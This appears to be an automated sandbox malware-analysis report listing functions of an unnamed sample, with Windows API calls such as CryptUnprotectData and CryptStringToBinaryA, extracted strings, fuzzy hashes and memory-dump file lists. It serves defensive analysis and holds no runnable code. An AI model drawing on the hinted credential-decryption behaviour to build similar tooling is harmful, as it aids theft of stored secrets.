Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C5740, 6C6C9269, 6C6C56C7, 6C6C5703, 6C6C921F, 6C6C9459, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 006E971D Relevance: 9.1, Strings: 6, Instructions: 1644COMMON

Download Yara Rule

Strings

+?, xrefs: 006E9AD7
>+;, xrefs: 006EAAD5
?uW, xrefs: 006E9F92
$!}<, xrefs: 006EA358
"Wn~, xrefs: 006EA308
.=n, xrefs: 006EA7C2

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "Wn~$$!}<$.=n$>+;$?uW$+?
API String ID: 0-347812490
Opcode ID: 4dd3e7b5c224c4fe7d4cc979ccc6d8d4652b2ec24b7b695c81feb0ae411cf0a6
Instruction ID: d8e7442fcd92296a065a1d4a48562e7717f44259f68632779cb5e294d05ffff6
Opcode Fuzzy Hash: 4dd3e7b5c224c4fe7d4cc979ccc6d8d4652b2ec24b7b695c81feb0ae411cf0a6
Instruction Fuzzy Hash: 0AB216F3A0C6049FE3046E2DEC8567AFBE9EF94720F16892DE6C4C3744EA3558058697

Function 00329AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N2,00000000,00000000), ref: 00329AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00324EEE,00000000,?), ref: 00329B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N2,00000000,00000000), ref: 00329B2A
LocalFree.KERNEL32(?,?,?,?,00324EEE,00000000,?), ref: 00329B3F

Strings

N2, xrefs: 00329AD4, 00329AE1, 00329AF9, 00329B18, 00329AE4, 00329B1B

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N2
API String ID: 4291131564-1109174167
Opcode ID: 1313c018c2faf84b2c4518090b51466dede7921d3e306a0423826208429486e5
Instruction ID: 1dd05587ee5fb1cf77def7a9688ab6d426282c1dbcd8fef53d009a7274c5eff8
Opcode Fuzzy Hash: 1313c018c2faf84b2c4518090b51466dede7921d3e306a0423826208429486e5
Instruction Fuzzy Hash: B511A2B4240208EFEB10CFA4DC95FAA77B5FB89700F208059F9159B390C7B6A901DB90

Function 006EE839 Relevance: 7.9, Strings: 5, Instructions: 1658COMMON

Download Yara Rule

Strings

wQM, xrefs: 006EFADC
_, xrefs: 006EF1EB
+S_, xrefs: 006EF63B
X/oG, xrefs: 006EF7CD
Cay, xrefs: 006EEF10

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +S_$X/oG$wQM$Cay$_
API String ID: 0-1296391112
Opcode ID: 29abd7ecde69b694ec5b8a7c83170cb4da22b4078fc6d5f2f177a08d606c79a5
Instruction ID: 1cebb91dad58efa6b4b31c4e285892b3c05ccf512d0fee3212673b9096fddb7b
Opcode Fuzzy Hash: 29abd7ecde69b694ec5b8a7c83170cb4da22b4078fc6d5f2f177a08d606c79a5
Instruction Fuzzy Hash: C7B217F3A0C2009FE708AE2DEC8567AF7E5EB94720F16893DE6C5C3744EA3558058697

Function 006F1FAB Relevance: 7.8, Strings: 5, Instructions: 1556COMMON

Download Yara Rule

Strings

1JX0, xrefs: 006F2604
raF{, xrefs: 006F2019
pkRO, xrefs: 006F2DB5
%Io, xrefs: 006F2C49
vaF{, xrefs: 006F201E

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %Io$1JX0$pkRO$raF{$vaF{
API String ID: 0-597541785
Opcode ID: 8ad2a7deab4b3e2d21e02855f2bc2bcbfa3df5221e9c34ac6ecae0efc5d341d6
Instruction ID: 8437530935306b0ce1aee8b04e197ac6d5644f137b660f2d3b89cde269416801
Opcode Fuzzy Hash: 8ad2a7deab4b3e2d21e02855f2bc2bcbfa3df5221e9c34ac6ecae0efc5d341d6
Instruction Fuzzy Hash: E9B2F6F360C2049FD3046E2DEC8567AFBE9EF94720F168A2DEAC4C7744EA3558058697

Function 00336920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0033696C
sscanf.NTDLL ref: 00336999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 003369B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 003369C0
ExitProcess.KERNEL32 ref: 003369DA

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 4b72403d9358686883f554f9b6db281245c5c9953de9ea467ff95c23338f96d9
Instruction ID: 761cf08dee9438199729f1316dd890bae776898e358a6ddf7aa12a8e17863e3a
Opcode Fuzzy Hash: 4b72403d9358686883f554f9b6db281245c5c9953de9ea467ff95c23338f96d9
Instruction Fuzzy Hash: 1321EA75D10208AFCF04EFE8D985AEEB7B5BF48300F04852AE406B3250EB745609DBA5

Function 00327240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0032724D
RtlAllocateHeap.NTDLL(00000000), ref: 00327254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00327281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 003272A4
LocalFree.KERNEL32(?), ref: 003272AE

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 4b0f749bdceb93d93037002f526dd120d0c8bcde359aa7b956ee1233627005fe
Instruction ID: d44ac4df97f65aee4a14caf3c31647f3b7a4d9ed389f60302cdec2e36f322831
Opcode Fuzzy Hash: 4b0f749bdceb93d93037002f526dd120d0c8bcde359aa7b956ee1233627005fe
Instruction Fuzzy Hash: 72010CB5A40208BBEB14DFD8DD4AF9E77B8EB44B04F104558FB05BB2C0D6B0AA049B65

Function 00338EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00325184,40000001,00000000,00000000,?,00325184), ref: 00338EC0

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 1114aea0993611446f386945d03ea0d1d115b83e28851bb2ffda7b7713833c23
Instruction ID: 8266e4b3ba2046bd052c1264e421985673b4c2a4f9565fcfa883b50e5d3d56a9
Opcode Fuzzy Hash: 1114aea0993611446f386945d03ea0d1d115b83e28851bb2ffda7b7713833c23
Instruction Fuzzy Hash: 5D11E574200309BFDB01CFA8E885FAB37A9AF89714F109558F9198B250DB75ED45EB60

Function 006F5502 Relevance: 5.4, Strings: 3, Instructions: 1607COMMON

Download Yara Rule

Strings

=q;w, xrefs: 006F5834
8OY_, xrefs: 006F67AB
Hxgw, xrefs: 006F5F4C

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
